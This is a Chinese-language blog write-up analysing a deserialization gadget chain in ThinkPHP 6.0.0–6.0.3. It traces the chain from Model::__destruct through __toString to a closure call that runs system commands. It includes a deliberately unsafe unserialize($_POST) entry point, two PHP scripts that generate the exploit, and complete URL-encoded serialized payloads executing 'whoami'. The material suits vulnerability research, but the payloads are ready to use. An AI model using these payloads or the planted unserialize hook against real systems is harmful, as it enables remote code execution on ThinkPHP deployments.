thinkPHP6 反序列化
thinkPHP v6.0.0-6.0.3
环境搭建
新版v6基于 PHP7.1+
开发
php-7.3.4
ThinkPHP v6.0.3
使用composer
进行安装
composer create-project topthink/think=6.0.3 tp6.0
然后利用 phpstudy 打开框架,简单配置如下子,再同样的道理配置 phpstorm 的调试。
但是万事俱备正准备开审后发现打开怎么是 thinkphp 6.1.4 版本的。后面了解到 composer 下载 thinkphp 框架会自动下载当前的最新稳定版,然后我又去 github 把 thinkphp 6.0.3 的源码下下来,不过里面的是少了些文件的。需要执行 composer install
,于是版本又变回了 thinkphp 6.1.4。
最后参考 https://blog.csdn.net/weixin_45794666/article/details/123237118 解决了问题。
修改 composer.json 文件参数
然后执行 composer update
,又因为其版本不兼容 8.0.1 以上,然后根据报错文件位置修改最低 php 版本就可以访问了。
最终得到完美的 thinkphp 6.0.3
漏洞分析
__destruct 链条
添加反序列化入口。
public function poc(){ $tmp = $_POST['gaoren']; echo $tmp; unserialize($tmp);
}
然后现在就是需要找入口类了,一般发序列化的触发函数就是 __destruct
或者 __wakeup
,但是 __wakeup
一般是作为对象初始化使用,所以这里先进行全局搜索 __destruct
,
发现再 Model.php 中的 __destruct
方法再满足条件后调用了 save()
方法($this->lazySave
可以控制),跟进到该 save()
方法
这里想要调用 updateData()
方法需要满足上面的 if 条件,看到其还是个三元运算法,所以还需要其满足前面的条件 $result = $this->exists
。
先跟进 isEmpty()
$this→data
可控,只要让 data[]
不为空,就会 false,再看看第二个条件,需要其为 true
看到如果 $this->withEvent
为 false 就会返回 true。同样可以控制。然后继续看 $result = $this->exists
,其中 $this->exists
可控。
所以直接跟进updateData()
我们需要调用 $this->checkAllowFields()
,看到在其前面要满足 3 个 if 条件。
先看第一个 if 条件
if (false === $this->trigger('BeforeUpdate'))
和上面一样函数 trigger() 可控,
第二个 if 条件
empty($data)
跟进函数 getChangedData()
,
看到满足 if 条件后就会让 $data=1
,$a
和 $b
都可以控制。
第三个 if 条件
if ($this->autoWriteTimestamp && $this->updateTime && !isset($data[$this->updateTime]))
看到是&&只要不满足任意一个条件就行,这里需要 $data
为空,但是上面设置了 $data
为非空,
所以直接来到 $this->checkAllowFields()
方法。
看到存在字符串拼接,那么是不是就可以触发到 __tostring
魔术方法,但是后面调试发现并不会到这里,跟进到 db(),
看到这里同样存在字符串拼接还是两个,会执行并且条件也非常好满足。那么现在再来理一下链子
__destruct()——>save()——>updateData()——>checkAllowFields()——>db()——>$this->table . $this->suffix(字符串拼接)——>toString()
需要满足的条件
$lazySave == true
$data不为空
$withEvent == false
$this->exists == true
__tostring 链条
后面就是延续 tp5 反序列化的触发 __toString
魔术方法了,直接跟进到 E:\WebCMS\thinkphp\tp6\vendor\topthink\think-orm\src\model\concern\Conversion.php
中的 __tostring
,
看到 toJson()
方法就在其上面,发现调用了 toArray
方法,跟进
这里重点是第三个 foreach
中的 getAttr()
方法,
但继续看下的 elseif 语句,如果不存在并且变量 $hasVisible
为 false 也可以调用 getAttr()
方法,而 $hasVisible
默认就是 false,所以会直接默认调用第二个 elseif 中的方法,
但是我在测试时发现在其打上断点没有用。但是在上面$data 的获取打上断点进入发现还是会调用到 getAttr()
方法,
继续进入 getValue()
方法。
这里再满足第一个 if 条件,不满足第二三个 if 条件就可以利用 $value = $closure($value, $this->data);
进行命令执行了。
先看第一个条件,需要存在 $this→withAttr[$fieldName]
,也就是数组 withAttr
存在 $fieldName
键对应的值,$fieldName
又等于 $name
,朔源发现 $name
等于 $data
的键名。所以这里意思就是需要 $withAttr
和 $data
存在相同的键名。
然后看第二个条件 $ relation
要为 false,其默认就是 false 。
最后一个条件是&&,满足后面一个即可,即 $this->withAttr[$ fieldName]
不为数组,也就是该键对应的值不为数组,这个肯定满足,我们执行恶意命令需要其等于 system
。
然后再让 $data
键对应的值为命令即可。理下后半段链子
__toString()-->toJson()-->toArray()-->getAttr()-->getValue()
需要构造
$this->withAttr = ["key" => "system"];
$this->data = ["key" => "whoami"];
poc 编写
poc1
先把 model 类中需要满足条件的变量进行赋值。
由于其是抽象类不能被实例化,需要用它的子类,发现 Pivot
继承了
所以先编写
<?php
namespace think;
abstract class Model{
} namespace think\model; use think\Model;
class Pivot extends Model{ }
然后再开始给变量赋值
<?phpnamespace think\model\concern;trait Attribute
{private $data = ["Lethe" => "whoami"];private $withAttr = ["Lethe" => "system"];
}namespace think;abstract class Model
{use model\concern\Attribute;private $lazySave;protected $withEvent;private $exists;private $force;protected $table;function __construct($obj = ''){$this->lazySave = true;$this->withEvent = false;$this->exists = true;$this->force = true;$this->table = $obj;}
}namespace think\model;use think\Model;class Pivot extends Model
{
}
$a = new Pivot();
$b = new Pivot($a);echo urlencode(serialize($b));
这里看到
$a = new Pivot();
$b = new Pivot($a);
实际上就是给 $table
赋值为一个对象。然后字符串拼接触发 __tostring
,但是按理说应该调用 model 类中的 tostirng 方法,但是由于这里面没有 tostring 方法,那又是怎么调用到 Conversion 中的 tostring 呢?
看到直接 use 了该 trait,所以可以直接调用其中的方法,所以也就是触发到了其 tostring 方法,后面的就不用多说什么了。
然后之所以加上 use model\concern\Attribute;
是因为 trait 没法实例化也就没法赋值了,但是可以通过这种方式进行赋值,use 它,然后类实例化后就有它。
生成 poc
O%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3Bs%3A0%3A%22%22%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A5%3A%22Lethe%22%3Bs%3A6%3A%22whoami%22%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A5%3A%22Lethe%22%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A5%3A%22Lethe%22%3Bs%3A6%3A%22whoami%22%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A5%3A%22Lethe%22%3Bs%3A6%3A%22system%22%3B%7D%7D
poc2
<?php
namespace think\model\concern;
trait Attribute
{ private $data = ["key"=>"whoami"]; private $withAttr = ["key"=>"system"];
}
namespace think;
abstract class Model
{ use model\concern\Attribute; private $lazySave = true; protected $withEvent = false; private $exists = true; protected $name; public function __construct($obj=""){ $this->name=$obj; }
}
namespace think\model;
use think\Model;
class Pivot extends Model
{}
$a=new Pivot();
$b=new Pivot($a);
echo urlencode(serialize($b));
原理其实是差不多,
abstract class Model
{ use model\concern\Attribute; private $lazySave = true; protected $withEvent = false; private $exists = true; protected $name; public function __construct($obj=""){ $this->name=$obj; }
} $a=new Pivot();
$b=new Pivot($a);
只是这里并没有给 $suffix
或者是 $table
赋值,而是给 $name
赋值,调试
然后拼接调用 tostring 方法,
生成 poc
O%3A17%3A%22think%5Cmodel%5CPivot%22%3A6%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A7%3A%22%00%2A%00name%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A6%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A7%3A%22%00%2A%00name%22%3Bs%3A0%3A%22%22%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A3%3A%22key%22%3Bs%3A6%3A%22whoami%22%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A3%3A%22key%22%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A3%3A%22key%22%3Bs%3A6%3A%22whoami%22%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A3%3A%22key%22%3Bs%3A6%3A%22system%22%3B%7D%7D
本地测试: